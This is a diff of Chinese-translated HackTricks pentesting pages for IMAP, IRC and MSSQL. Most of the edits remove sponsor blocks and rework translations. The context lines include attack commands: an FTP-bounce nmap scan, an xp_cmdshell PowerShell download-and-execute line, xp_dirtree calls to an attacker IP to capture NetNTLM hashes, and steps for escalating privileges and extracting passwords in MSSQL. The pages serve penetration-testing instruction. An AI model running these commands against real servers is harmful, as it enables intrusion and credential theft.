nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
|
||||
```
|
||||
**努力安全组**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,23 @@
|
|||
# 143,993 - Pentesting IMAP
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 互联网邮件访问协议
|
||||
|
||||
**互联网邮件访问协议 (IMAP)** 的设计目的是使用户能够**从任何位置访问他们的电子邮件消息**,主要通过互联网连接。实质上,电子邮件**保留在服务器上**,而不是下载并存储在个人设备上。这意味着当访问或阅读电子邮件时,是**直接从服务器**进行的。这种能力允许从**多个设备**方便地检查电子邮件,确保无论使用何种设备都不会错过任何消息。
|
||||
**互联网邮件访问协议 (IMAP)** 的设计目的是使用户能够**从任何位置访问他们的电子邮件消息**,主要通过互联网连接。实际上,电子邮件**保留在服务器上**,而不是下载并存储在个人设备上。这意味着当访问或阅读电子邮件时,是**直接从服务器**进行的。这种能力允许从**多个设备**方便地检查电子邮件,确保无论使用何种设备都不会错过任何消息。
|
||||
|
||||
默认情况下,IMAP 协议在两个端口上工作:
|
||||
|
||||
|
@ -51,13 +43,13 @@ root@kali: telnet example.com 143
|
|||
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
|
||||
+ TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
|
||||
```
|
||||
或 **自动化** 这个与 **nmap** 插件 `imap-ntlm-info.nse`
|
||||
或**自动化**此操作,使用**nmap**插件`imap-ntlm-info.nse`
|
||||
|
||||
### [IMAP 暴力破解](../generic-methodologies-and-resources/brute-force.md#imap)
|
||||
### [IMAP暴力破解](../generic-methodologies-and-resources/brute-force.md#imap)
|
||||
|
||||
## 语法
|
||||
|
||||
IMAP 命令示例来自 [这里](https://donsutherland.org/crib/imap):
|
||||
IMAP命令示例来自[这里](https://donsutherland.org/crib/imap):
|
||||
```
|
||||
Login
|
||||
A1 LOGIN username password
|
||||
|
@ -157,12 +149,6 @@ done
|
|||
* `port:143 CAPABILITY`
|
||||
* `port:993 CAPABILITY`
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
## HackTricks 自动命令
|
||||
```
|
||||
Protocol_Name: IMAP #Protocol Abbreviation if there is one.
|
||||
|
|
|
@ -1,50 +1,37 @@
|
|||
# 194,6667,6660-7000 - Pentesting IRC
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本信息
|
||||
|
||||
IRC 最初是一个 **纯文本协议**,由 IANA 分配了 **194/TCP**,但通常在 **6667/TCP** 和类似端口上运行,以避免需要 **root 权限** 进行操作。
|
||||
IRC,最初是一个**纯文本协议**,由IANA分配了**194/TCP**,但通常在**6667/TCP**和类似端口上运行,以避免需要**root权限**进行操作。
|
||||
|
||||
连接到服务器只需要一个 **昵称**。连接后,服务器会对用户的 IP 进行反向 DNS 查找。
|
||||
连接到服务器只需要一个**昵称**。连接后,服务器会对用户的IP进行反向DNS查找。
|
||||
|
||||
用户分为 **操作员**,需要 **用户名** 和 **密码** 以获得更多访问权限,以及普通 **用户**。操作员具有不同级别的权限,管理员位于最高层。
|
||||
用户分为**操作员**,需要**用户名**和**密码**以获得更多访问权限,以及普通**用户**。操作员具有不同级别的权限,管理员位于最高层。
|
||||
|
||||
**默认端口:** 194, 6667, 6660-7000
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
6667/tcp open irc
|
||||
```
|
||||
## Enumeration
|
||||
## 枚举
|
||||
|
||||
### Banner
|
||||
### 横幅
|
||||
|
||||
IRC 可以支持 **TLS**。
|
||||
```bash
|
||||
|
@ -98,17 +85,6 @@ nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,66
|
|||
|
||||
* `查找您的主机名`
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -119,8 +95,8 @@ WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,25 +9,17 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本信息
|
||||
|
||||
来自 [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
||||
|
||||
> **Microsoft SQL Server** 是由微软开发的 **关系数据库** 管理系统。作为数据库服务器,它是一个软件产品,主要功能是根据其他软件应用程序的请求存储和检索数据——这些应用程序可以在同一台计算机上运行,也可以在网络(包括互联网)上的另一台计算机上运行。\\
|
||||
> **Microsoft SQL Server** 是由 Microsoft 开发的 **关系数据库** 管理系统。作为数据库服务器,它是一个软件产品,主要功能是根据其他软件应用程序的请求存储和检索数据——这些应用程序可以在同一台计算机上运行,也可以在网络(包括互联网)上的另一台计算机上运行。\\
|
||||
|
||||
**默认端口:** 1433
|
||||
```
|
||||
|
@ -39,7 +31,7 @@
|
|||
* **msdb 数据库**: SQL Server Agent 利用此数据库管理警报和作业的调度。
|
||||
* **model 数据库**: 作为 SQL Server 实例上每个新数据库的蓝图,任何诸如大小、排序规则、恢复模型等的更改都会在新创建的数据库中反映。
|
||||
* **Resource 数据库**: 一个只读数据库,存放随 SQL Server 附带的系统对象。这些对象虽然物理存储在 Resource 数据库中,但在每个数据库的 sys 模式中逻辑呈现。
|
||||
* **tempdb 数据库**: 作为瞬态对象或中间结果集的临时存储区域。
|
||||
* **tempdb 数据库**: 作为临时存储区域,用于存放瞬态对象或中间结果集。
|
||||
|
||||
## 枚举
|
||||
|
||||
|
@ -158,14 +150,14 @@ SELECT * FROM sysusers
|
|||
```
|
||||
#### 获取权限
|
||||
|
||||
1. **可安全性资源:** 定义为 SQL Server 管理的用于访问控制的资源。这些资源分为:
|
||||
1. **可安全性资源:** 定义为由 SQL Server 管理的用于访问控制的资源。这些资源分为:
|
||||
* **服务器** – 示例包括数据库、登录、端点、可用性组和服务器角色。
|
||||
* **数据库** – 示例包括数据库角色、应用程序角色、模式、证书、全文目录和用户。
|
||||
* **模式** – 包括表、视图、过程、函数、同义词等。
|
||||
2. **权限:** 与 SQL Server 可安全性资源相关的权限,如 ALTER、CONTROL 和 CREATE,可以授予主体。权限管理发生在两个层级:
|
||||
2. **权限:** 与 SQL Server 可安全性资源相关的权限,如 ALTER、CONTROL 和 CREATE,可以授予主体。权限管理发生在两个层级:
|
||||
* **服务器级别** 使用登录
|
||||
* **数据库级别** 使用用户
|
||||
3. **主体:** 该术语指被授予可安全性资源权限的实体。主体主要包括登录和数据库用户。对可安全性资源的访问控制通过授予或拒绝权限或通过将登录和用户包含在具备访问权限的角色中来实现。
|
||||
3. **主体:** 该术语指被授予可安全性资源权限的实体。主体主要包括登录和数据库用户。对可安全性资源的访问控制通过授予或拒绝权限或通过将登录和用户包含在具备访问权限的角色中来实现。
|
||||
```sql
|
||||
# Show all different securables names
|
||||
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
||||
|
@ -190,7 +182,7 @@ EXEC sp_helprotect 'xp_cmdshell'
|
|||
### 执行操作系统命令
|
||||
|
||||
{% hint style="danger" %}
|
||||
请注意,为了能够执行命令,不仅需要启用 **`xp_cmdshell`**,还需要对 **`xp_cmdshell`** 存储过程具有 **EXECUTE 权限**。您可以通过以下方式获取谁(除了 sysadmins)可以使用 **`xp_cmdshell`**:
|
||||
请注意,为了能够执行命令,不仅需要启用 **`xp_cmdshell`**,还需要对 **`xp_cmdshell` 存储过程** 拥有 **EXECUTE 权限**。您可以通过以下方式获取谁(除了 sysadmins)可以使用 **`xp_cmdshell`**:
|
||||
```sql
|
||||
Use master
|
||||
EXEC sp_helprotect 'xp_cmdshell'
|
||||
|
@ -225,7 +217,7 @@ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.1
|
|||
```
|
||||
### Steal NetNTLM hash / Relay attack
|
||||
|
||||
您应该启动一个 **SMB 服务器** 来捕获用于身份验证的哈希(例如 `impacket-smbserver` 或 `responder`)。
|
||||
您应该启动一个 **SMB 服务器** 来捕获用于身份验证的哈希值(例如 `impacket-smbserver` 或 `responder`)。
|
||||
```bash
|
||||
xp_dirtree '\\<attacker_IP>\any\thing'
|
||||
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
|
||||
|
@ -248,7 +240,7 @@ EXEC sp_helprotect 'xp_fileexist';
|
|||
{% endhint %}
|
||||
|
||||
使用工具如 **responder** 或 **Inveigh** 可以 **窃取 NetNTLM 哈希**。\
|
||||
您可以在以下链接中查看如何使用这些工具:
|
||||
您可以查看如何使用这些工具:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
|
||||
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
@ -348,19 +340,19 @@ For **更多示例** 请查看 [**原始来源**](https://blog.waynesheffield.co
|
|||
|
||||
### RCE与MSSQL用户定义函数 - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
|
||||
可以通过自定义函数在MSSQL中**加载.NET dll**。然而,这**需要`dbo`访问权限**,因此您需要以**`sa`或管理员角色**连接数据库。
|
||||
可以通过**自定义函数在MSSQL中加载.NET dll**。然而,这**需要`dbo`访问权限**,因此您需要以**`sa`或管理员角色**连接数据库。
|
||||
|
||||
[**点击此链接**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) 查看示例。
|
||||
[**点击此链接**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp)查看示例。
|
||||
|
||||
### 其他RCE方法
|
||||
### RCE的其他方法
|
||||
|
||||
还有其他方法可以获取命令执行,例如添加 [扩展存储过程](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server)、[CLR程序集](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration)、[SQL Server代理作业](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) 和 [外部脚本](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)。
|
||||
还有其他方法可以获取命令执行,例如添加[扩展存储过程](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server)、[CLR程序集](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration)、[SQL Server代理作业](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15)和[外部脚本](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)。
|
||||
|
||||
## MSSQL权限提升
|
||||
|
||||
### 从db\_owner到sysadmin
|
||||
|
||||
如果一个**普通用户**被授予**`db_owner`**角色,且该**数据库由管理员**用户(如**`sa`**)拥有,并且该数据库被配置为**`trustworthy`**,那么该用户可以滥用这些权限进行**权限提升**,因为在其中创建的**存储过程**可以作为所有者(**管理员**)执行。
|
||||
如果**普通用户**被授予**`db_owner`**角色,且该**数据库由管理员**用户(如**`sa`**)拥有,并且该数据库配置为**`trustworthy`**,那么该用户可以滥用这些权限进行**权限提升**,因为在其中创建的**存储过程**可以**以所有者(**管理员**)的身份执行**。
|
||||
```sql
|
||||
# Get owners of databases
|
||||
SELECT suser_sname(owner_sid) FROM sys.databases
|
||||
|
@ -427,10 +419,10 @@ enum_links
|
|||
use_link [NAME]
|
||||
```
|
||||
{% hint style="info" %}
|
||||
如果您可以模拟一个用户,即使他不是 sysadmin,您应该检查该用户是否可以访问其他数据库或链接服务器。
|
||||
如果您可以冒充一个用户,即使他不是 sysadmin,您应该检查该用户是否有权访问其他数据库或链接服务器。
|
||||
{% endhint %}
|
||||
|
||||
请注意,一旦您成为 sysadmin,您可以模拟任何其他用户:
|
||||
请注意,一旦您成为 sysadmin,您可以冒充任何其他用户:
|
||||
```sql
|
||||
-- Impersonate RegUser
|
||||
EXECUTE AS LOGIN = 'RegUser'
|
||||
|
@ -456,9 +448,9 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
|||
|
||||
## 从 SQL Server 连接服务器提取密码
|
||||
|
||||
攻击者可以从 SQL 实例中提取 SQL Server 连接服务器的密码,并以明文形式获取它们,从而使攻击者获得可以用于在目标上获得更大立足点的密码。提取和解密存储在连接服务器中的密码的脚本可以在 [这里](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords) 找到。
|
||||
攻击者可以从 SQL 实例中提取 SQL Server 连接服务器的密码,并以明文形式获取它们,从而授予攻击者可以用于在目标上获得更大立足点的密码。提取和解密存储在连接服务器中的密码的脚本可以在 [这里](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords) 找到。
|
||||
|
||||
为了使此漏洞利用有效,必须进行一些要求和配置。首先,您必须在机器上拥有管理员权限,或能够管理 SQL Server 配置。
|
||||
为了使此漏洞利用有效,必须进行一些要求和配置。首先,您必须在机器上具有管理员权限,或能够管理 SQL Server 配置。
|
||||
|
||||
在验证您的权限后,您需要配置以下三项内容:
|
||||
|
||||
|
@ -466,11 +458,11 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
|||
2. 添加启动参数,在这种情况下,将添加一个跟踪标志,即 -T7806。
|
||||
3. 启用远程管理员连接。
|
||||
|
||||
为了自动化这些配置,[这个仓库](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) 提供了所需的脚本。除了为每个配置步骤提供 PowerShell 脚本外,该仓库还提供了一个完整的脚本,结合了配置脚本以及密码的提取和解密。
|
||||
要自动化这些配置,[这个仓库](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)提供了所需的脚本。除了为每个配置步骤提供 PowerShell 脚本外,该仓库还提供了一个完整的脚本,结合了配置脚本以及密码的提取和解密。
|
||||
|
||||
有关此攻击的更多信息,请参阅以下链接:[解密 MSSQL 数据库链接服务器密码](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
|
||||
[排除 SQL Server 专用管理员连接故障](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
[排除 SQL Server 专用管理员连接的问题](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
|
||||
## 本地权限提升
|
||||
|
||||
|
@ -489,7 +481,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
|||
|
||||
* `port:1433 !HTTP`
|
||||
|
||||
## 参考
|
||||
## 参考文献
|
||||
|
||||
* [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
|
||||
* [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
|
||||
|
@ -497,15 +489,9 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
|||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
|
||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
||||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) **Try Hard Security Group**
|
||||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
||||
* [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## HackTricks 自动命令
|
||||
```
|
||||
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
||||
|
@ -572,7 +558,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {I
|
|||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,17 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本信息
|
||||
|
||||
